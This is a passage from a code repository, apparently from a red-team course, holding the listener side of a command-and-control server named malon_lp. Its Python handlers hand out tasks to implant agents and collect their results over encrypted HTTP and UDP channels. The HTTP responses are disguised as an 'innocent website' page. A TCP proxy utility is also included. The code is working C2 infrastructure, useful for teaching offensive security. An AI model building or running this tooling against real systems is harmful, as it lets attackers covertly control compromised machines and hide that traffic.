6 | def handle_msg(self, msg: bytes):
7 | """
8 | En cada una de las requests que
9 | realiza el agente, se invoca este metodo.
10 | Es necesario en este lugar decidir el
11 | tipo de mensaje que se esta recibiendo
12 | para definir si es necesario consultar
13 | por tareas nuevas que deba realizar el agente
14 | o registrar el resultado
15 | """
16 | pass
17 |
18 | class AuthenticatedHandler(ABC):
19 | @abstractmethod
20 | def handle_auth_msg(self, msg: bytes, client_id: str):
21 | """
22 | Posee la misma logica correspondiente
23 | al manejo de mensajes, pero con la
24 | funcionalidad adicional de poder identificar
25 | al agente que se encuentra
26 | interactuando con el listener
27 | """
28 | pass
29 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/handler/api.py:
--------------------------------------------------------------------------------
1 | from typing import NamedTuple, Optional
2 |
3 | from . import AuthenticatedHandler
4 |
5 | import json
6 | import requests
7 |
8 | class ApiHandler(AuthenticatedHandler):
9 | def __init__(self, base_url: str, listener_id: int):
10 | self._base_url = base_url
11 | self._listener_id = listener_id
12 |
13 | def _report_agent(self, client_id: str):
14 | report = {'listener_id': self._listener_id}
15 | requests.post('{}/agents/{}/report'.format(self._base_url, client_id), json=report)
16 |
17 | def _handle_get_tasks_msg(self, client_id: str, _msg) -> bytes:
18 | response = requests.get('{}/agents/{}/tasks/unread/'.format(self._base_url, client_id))
19 | tasks = response.json() if response.ok else []
20 | return json.dumps({
21 | 'task_list_msg': {
22 | 'tasks': tasks
23 | }
24 | }).encode('utf-8')
25 |
26 | def _handle_task_results_msg(self, client_id: str, msg) -> bytes:
27 | for result in msg['results']:
28 | task_id = result['task_id']
29 | response = requests.post('{}/agents/{}/tasks/{}/result'.format(
30 | self._base_url,
31 | client_id,
32 | task_id
33 | ), json=result)
34 | return json.dumps({
35 | 'status_msg': {
36 | 'success': True
37 | }
38 | }).encode('utf-8')
39 |
40 | def handle_auth_msg(self, msg: bytes, client_id: str) -> bytes:
41 | self._report_agent(client_id)
42 | agent_msg = json.loads(msg.decode('utf-8'))
43 | if agent_msg.get('get_tasks_msg') is not None:
44 | return self._handle_get_tasks_msg(client_id, agent_msg['get_tasks_msg'])
45 | elif agent_msg.get('task_results_msg') is not None:
46 | return self._handle_task_results_msg(client_id, agent_msg['task_results_msg'])
47 | else:
48 | raise RuntimeError('Unexpected message type')
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/handler/dh.py:
--------------------------------------------------------------------------------
1 | import json
2 | from typing import Mapping, Optional
3 | from base64 import b64encode, b64decode
4 |
5 | from . import Handler, AuthenticatedHandler
6 | from malon_lp.crypto.dh import KeyExchange, get_client_id
7 | from malon_lp.crypto.sym import SymmetricCipher
8 |
9 |
10 |
11 | KeyRespository = Mapping[str, bytes]
12 |
13 |
14 | class DHHandler(Handler):
15 | def __init__(self, ke: KeyExchange, handler: AuthenticatedHandler, kr: Optional[KeyRespository] = None):
16 | self._ke = ke
17 | self._handler = handler
18 | self._kr = kr if kr is not None else {} # en caso de no proveer un KeyRepository crea un diccionario
19 |
20 | def _handle_handshake_msg(self, public_key: bytes) -> bytes:
21 | """
22 | Recibe la clave publica del cliente, y la persiste en el KeyRepository.
23 | Al finalizar le retorna al cliente la clave publica del Listener.
24 | """
25 | client_id = get_client_id(public_key).hex()
26 | self._kr[client_id] = public_key
27 | response_msg = {
28 | 'handshake_msg': {
29 | 'public_key': b64encode(self._ke.get_public_key()).decode('utf-8')
30 | }
31 | }
32 | return json.dumps(response_msg).encode('utf-8')
33 |
34 | def _handle_client_msg(self, client_id: str, encrypted_payload: bytes) -> bytes:
35 | """
36 | - Obtiene la clave publica del KeyRepository a partir del client_id
37 | - Genera la clave compartida
38 | - Verifica y decifra el mensaje con la misma
39 | - Delega el mensaje en el AuthenticatedHandler para obtener la respuesta para el cliente
40 | - La cifra y firma con la clave compartida
41 | - Devuelve la respuesta
42 | """
43 | key = self._kr.get(client_id, None)
44 | if key is not None:
45 | cipher = SymmetricCipher(self._ke.get_shared_key(self._kr[client_id]))
46 | payload = cipher.verify_decrypt_msg(encrypted_payload)
47 | response = self._handler.handle_auth_msg(payload, client_id)
48 | encrypted_response = cipher.encrypt_sign_msg(response)
49 | return json.dumps({
50 | 'server_msg': {
51 | 'payload': b64encode(encrypted_response).decode('utf-8')
52 | }
53 | }).encode('utf-8')
54 | else:
55 | return json.dumps({
56 | 'error_msg': {
57 | 'type': 'HANDSHAKE_EXPIRED'
58 | }
59 | }).encode('utf-8')
60 |
61 | def handle_msg(self, msg: bytes) -> bytes:
62 | """
63 | realiza un dispatch de los mensajes recibido, segun corresponda
64 | ver:
65 | -_handle_handshake_msg {"handshake_msg":{"public_key": "..."}}
66 | -_handle_client_msg {"client_msg":{"client_id": "...", "payload": "..."}}
67 | """
68 | base_msg = json.loads(msg.decode('utf-8'))
69 | if base_msg.get('handshake_msg') is not None:
70 | return self._handle_handshake_msg(b64decode(base_msg['handshake_msg']['public_key']))
71 | elif base_msg.get('client_msg') is not None:
72 | return self._handle_client_msg(
73 | base_msg['client_msg']['client_id'],
74 | b64decode(base_msg['client_msg']['payload'])
75 | )
76 | else:
77 | raise RuntimeError('Unexpected message type')
78 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/handler/dummy_auth.py:
--------------------------------------------------------------------------------
1 | import json
2 | from typing import Mapping, Optional
3 | from base64 import b64encode, b64decode
4 |
5 | from . import Handler, AuthenticatedHandler
6 | from malon_lp.crypto.dh import KeyExchange, get_client_id
7 | from malon_lp.crypto.sym import SymmetricCipher
8 |
9 |
10 | KeyRespository = Mapping[str, bytes]
11 |
12 |
13 | class DummyAuthenticationHandler(Handler):
14 | def __init__(self, handler: AuthenticatedHandler):
15 | self._handler = handler
16 |
17 | def handle_msg(self, msg: bytes, client_id: Optional[str] = None) -> bytes:
18 | """
19 | Desencodea el contenido del payload y delega el mensage en el AuthenticatedHandler
20 | """
21 | base_msg = json.loads(msg.decode('utf-8'))
22 | if base_msg.get('client_msg') is not None:
23 | payload = self._handler.handle_auth_msg(
24 | b64decode(base_msg['client_msg']['payload']),
25 | base_msg['client_msg']['client_id']
26 | )
27 | server_msg = {'payload': b64encode(payload).decode('utf-8')}
28 | base_msg = {'server_msg': server_msg}
29 | return json.dumps(base_msg).encode('utf-8')
30 | else:
31 | raise RuntimeError('Unexpected message type')
32 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/handler/sym.py:
--------------------------------------------------------------------------------
1 | from typing import Optional
2 | from . import Handler
3 |
4 | from malon_lp.crypto.sym import SymmetricCipher
5 |
6 | class EncryptedHandler(Handler):
7 | KEY_LENGTH = 16
8 |
9 | def __init__(self, key: bytes, handler: Handler):
10 | if len(key) != self.KEY_LENGTH:
11 | raise RuntimeError('Invalid key length, should be {}'.format(self.KEY_LENGTH))
12 |
13 | self._cipher = SymmetricCipher(key)
14 | self._handler = handler
15 |
16 | def handle_msg(self, msg: bytes) -> bytes:
17 | """
18 | Delega el mensaje descfirado (por la primer capa de criptografia simetrica)
19 | en el Handler siguiente
20 | """
21 | decrypted_msg = self._cipher.verify_decrypt_msg(msg)
22 | response_msg = self._handler.handle_msg(decrypted_msg)
23 | encrypted_response_msg = self._cipher.encrypt_sign_msg(response_msg)
24 | return encrypted_response_msg
25 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/listener/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_lp/malon_lp/listener/listener/__init__.py
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/listener/http_listener.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request
2 | from base64 import b64decode, b64encode
3 |
4 | from malon_lp.listener import Listener
5 | from malon_lp.listener.handler.sym import EncryptedHandler
6 | from malon_lp.listener.handler.dh import DHHandler
7 | from malon_lp.listener.handler.api import ApiHandler
8 |
9 | from malon_lp.crypto.dh import KeyExchange
10 |
11 | class HttpListener(Listener):
12 | def __init__(self, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes):
13 | handler = ApiHandler(api_url, listener_id)
14 | handler = DHHandler(KeyExchange(), handler)
15 | handler = EncryptedHandler(sym_key, handler)
16 |
17 | self._handler = handler
18 | self._host = host
19 | self._port = port
20 |
21 | @classmethod
22 | def new(cls, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes) -> 'Listener':
23 | return cls(api_url, listener_id, host, port, sym_key)
24 |
25 | @classmethod
26 | def type_name(cls) -> str:
27 | return 'http'
28 |
29 | def run(self):
30 | # A implementar
31 | app = Flask(__name__)
32 |
33 | @app.route('/', methods=["POST"])
34 | def root():
35 | msg = b64decode(request.form['m'])
36 | response_msg = self._handler.handle_msg(msg)
37 | return """
38 |
39 |
40 | I'm a totally innocent website
41 |
42 | """.format(b64encode(response_msg).decode('utf-8'))
43 |
44 | app.run(host=self._host, port=self._port)
45 |
46 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/listener/udp_listener.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request
2 | from base64 import b64decode, b64encode
3 |
4 | from malon_lp.listener import Listener
5 | from malon_lp.listener.handler.sym import EncryptedHandler
6 | from malon_lp.listener.handler.dh import DHHandler
7 | from malon_lp.listener.handler.api import ApiHandler
8 |
9 | from malon_lp.crypto.dh import KeyExchange
10 |
11 | import socket
12 |
13 | NUMERO_COMPLETAMENTE_ARBITRARIO = 2048
14 |
15 | class UdpListener(Listener):
16 | def __init__(self, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes):
17 | handler = ApiHandler(api_url, listener_id)
18 | handler = DHHandler(KeyExchange(), handler)
19 | handler = EncryptedHandler(sym_key, handler)
20 |
21 | self._handler = handler
22 | self._port = port
23 | self._host = host
24 |
25 | @classmethod
26 | def new(cls, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes) -> 'Listener':
27 | return cls(api_url, listener_id, host, port, sym_key)
28 |
29 | @classmethod
30 | def type_name(cls) -> str:
31 | return 'udp'
32 |
33 | def run(self):
34 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
35 | sock.bind((self._host, self._port))
36 | while True:
37 | msg, addr = sock.recvfrom(NUMERO_COMPLETAMENTE_ARBITRARIO)
38 | print('Received message from: {}'.format(addr))
39 | if msg:
40 | response_msg = self._handler.handle_msg(msg)
41 | sock.sendto(response_msg, addr)
42 |
43 |
44 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/listener/unenc_http_listener.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request
2 | from base64 import b64decode, b64encode
3 |
4 | from malon_lp.listener import Listener
5 | from malon_lp.listener.handler.dummy_auth import DummyAuthenticationHandler
6 | from malon_lp.listener.handler.api import ApiHandler
7 |
8 | from malon_lp.crypto.dh import KeyExchange
9 |
10 | class UnencryptedHttpListener(Listener):
11 | def __init__(self, api_url: str, listener_id: int, host: str, port: int):
12 | handler = ApiHandler(api_url, listener_id)
13 | handler = DummyAuthenticationHandler(handler)
14 |
15 | self._handler = handler
16 | self._host = host
17 | self._port = port
18 |
19 | @classmethod
20 | def new(cls, api_url: str, listener_id: int, host: str, port: int, _sym_key: bytes) -> 'Listener':
21 | return cls(api_url, listener_id, host, port)
22 |
23 | @classmethod
24 | def type_name(cls) -> str:
25 | return 'unenc-http'
26 |
27 | def run(self):
28 | # A implementar
29 | app = Flask(__name__)
30 |
31 | @app.route('/', methods=["POST"])
32 | def root():
33 | msg = b64decode(request.form['m'])
34 | response_msg = self._handler.handle_msg(msg)
35 | return """
36 |
37 |
38 | I'm a totally innocent website
39 |
40 | """.format(b64encode(response_msg).decode('utf-8'))
41 |
42 | app.run(host=self._host, port=self._port)
43 |
44 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/listener/unenc_udp_listener.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request
2 | from base64 import b64decode, b64encode
3 |
4 | from malon_lp.listener import Listener
5 | from malon_lp.listener.handler.sym import EncryptedHandler
6 | from malon_lp.listener.handler.dh import DHHandler
7 | from malon_lp.listener.handler.api import ApiHandler
8 |
9 | from malon_lp.listener.handler.dummy_auth import DummyAuthenticationHandler
10 |
11 | from malon_lp.crypto.dh import KeyExchange
12 |
13 | import socket
14 |
15 | NUMERO_COMPLETAMENTE_ARBITRARIO = 2048
16 |
17 | class UdpListener(Listener):
18 | def __init__(self, api_url: str, listener_id: int, host: str, port: int):
19 | handler = ApiHandler(api_url, listener_id)
20 | handler = DummyAuthenticationHandler(handler)
21 |
22 | self._handler = handler
23 | self._port = port
24 | self._host = host
25 |
26 | @classmethod
27 | def new(cls, api_url: str, listener_id: int, host: str, port: int, _sym_key: bytes) -> 'Listener':
28 | return cls(api_url, listener_id, host, port)
29 |
30 | @classmethod
31 | def type_name(cls) -> str:
32 | return 'unenc-udp'
33 |
34 | def run(self):
35 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
36 | sock.bind((self._host, self._port))
37 | while True:
38 | msg, addr = sock.recvfrom(NUMERO_COMPLETAMENTE_ARBITRARIO)
39 | print('Received message from: {}'.format(addr))
40 | if msg:
41 | response_msg = self._handler.handle_msg(msg)
42 | sock.sendto(response_msg, addr)
43 |
44 |
45 |
--------------------------------------------------------------------------------
/malon_lp/render_launcher/config_placeholder.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_lp/render_launcher/config_placeholder.bin
--------------------------------------------------------------------------------
/malon_lp/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | sqlalchemy
3 | requests
4 | protobuf
5 | pycryptodome
6 | ecdsa
7 |
--------------------------------------------------------------------------------
/util/tcp_proxy.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import argparse
3 |
4 |
5 | class Proxy:
6 | def __init__(self, bind_host: str, bind_port: int, target_host: str, target_port: int):
7 | self._bind_host = bind_host
8 | self._bind_port = bind_port
9 | self._target_host = target_host
10 | self._target_port = target_port
11 |
12 | async def forward_endpoint_data(self, reader, writer):
13 | while True:
14 | data = await reader.read(1024)
15 | if len(data) == 0: break
16 | writer.write(data)
17 | await writer.drain()
18 |
19 |
20 | async def handle_connection(self, client_reader, client_writer):
21 | print('New connection')
22 | server_reader, server_writer = await asyncio.open_connection(self._target_host, self._target_port)
23 |
24 | asyncio.create_task(self.forward_endpoint_data(client_reader, server_writer))
25 | asyncio.create_task(self.forward_endpoint_data(server_reader, client_writer))
26 |
27 | async def run(self):
28 | server = await asyncio.start_server(self.handle_connection,
29 | self._bind_host, self._bind_port)
30 |
31 | addr = server.sockets[0].getsockname()
32 |
33 | async with server:
34 | await server.serve_forever()
35 |
36 | def main():
37 | parser = argparse.ArgumentParser(description='TCP Proxy')
38 | parser.add_argument('--bind_host', '-b', type=str, required=False, default='127.0.0.1', help='Bind hostname')
39 | parser.add_argument('bind_port', type=int, help='Bind port')
40 | parser.add_argument('target_host', type=str, help='Target hostname')
41 | parser.add_argument('target_port', type=int, help='Target port')
42 | args = parser.parse_args()
43 |
44 | proxy = Proxy(args.bind_host, args.bind_port, args.target_host, args.target_port)
45 |
46 | asyncio.run(proxy.run())
47 |
48 | if __name__ == '__main__':
49 | main()
50 |
--------------------------------------------------------------------------------